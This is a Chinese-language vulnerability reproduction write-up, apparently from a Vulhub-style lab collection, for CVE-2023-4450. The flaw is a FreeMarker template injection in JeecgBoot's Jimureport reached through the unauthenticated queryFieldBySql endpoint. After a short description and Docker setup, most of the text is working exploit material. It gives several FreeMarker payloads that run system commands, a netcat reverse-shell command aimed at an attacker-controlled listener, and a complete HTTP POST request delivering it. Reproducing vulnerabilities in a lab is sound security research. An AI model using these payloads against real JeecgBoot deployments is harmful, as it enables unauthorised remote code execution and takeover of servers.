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73 lines
2.1 KiB
Markdown
73 lines
2.1 KiB
Markdown
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# JeecgBoot SSTI CVE-2023-4450
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## 漏洞描述
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JeecgBoot 是一个开源的低代码开发平台，Jimureport 是低代码报表组件之一
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当前漏洞在 1.6.1 以下的 Jimureport 组件库中都存在. 由于未授权的 API `/jmreport/queryFieldBySql` 使用了 freemarker 解析 SQL 语句从而导致了 RCE 漏洞的产生.
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参考链接：
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- https://www.oscs1024.com/hd/MPS-4hzd-mb73
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- https://www.reajason.eu.org/writing/freemarkersstimemshell
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- https://github.com/jeecgboot/JimuReport
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## 环境搭建
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Vulhub 执行如下命令启动 3.5.3 版本的 JeecgBoot 后端:
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```
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docker compose up -d
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```
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在服务启动后，可访问 `http://your-ip:8080/jeecg-boot/jmreport/list` 积木工作台页。
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## 漏洞复现
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点击新建图表 → 选择 SQL 数据集 → 报表 SQL 中填写 Payload → 点击 SQL 解析。
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poc：
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```
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<#assign ex="freemarker.template.utility.Execute"?new()>${ex("nc your-ip 8888 -e sh")}
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```
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```
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<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc").start ()}
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```
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others（https://mp.weixin.qq.com/s/eT32vnk_8anS3e-2B287cA）：
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```
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{"sql":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"calc.exe\")}","dbSource":"","paramArray":"","type":""}
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#sql的其它可用poc：
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<#assign
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value=\"freemarker.template.utility.ObjectConstructor\"?new()>${value(\"java.lang.ProcessBuilder\",\"calc.exe\").start()}
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#jython的调用需要满足目标类路径中包含org.python的包，本地复现时引入jython-standalone可正常执行命令
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<#assign
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value=\"freemarker.template.utility.JythonRuntime\"?new()><@value>import os;os.system(\"calc.exe\")</@value>
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```
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反弹 shell，使用 nc 开启监听端口 8888：
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```
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nc -vvl 8888
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```
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通过 `http://your-ip:8080/jeecg-boot/jmreport/queryFieldBySql` sql 参数传递 freemarker payload。
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```
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POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
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Host: your-ip:8088
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Content-Type: application/json
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{
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"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"nc your-ip 8888 -e sh\")}",
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"type": "0"
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}
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```
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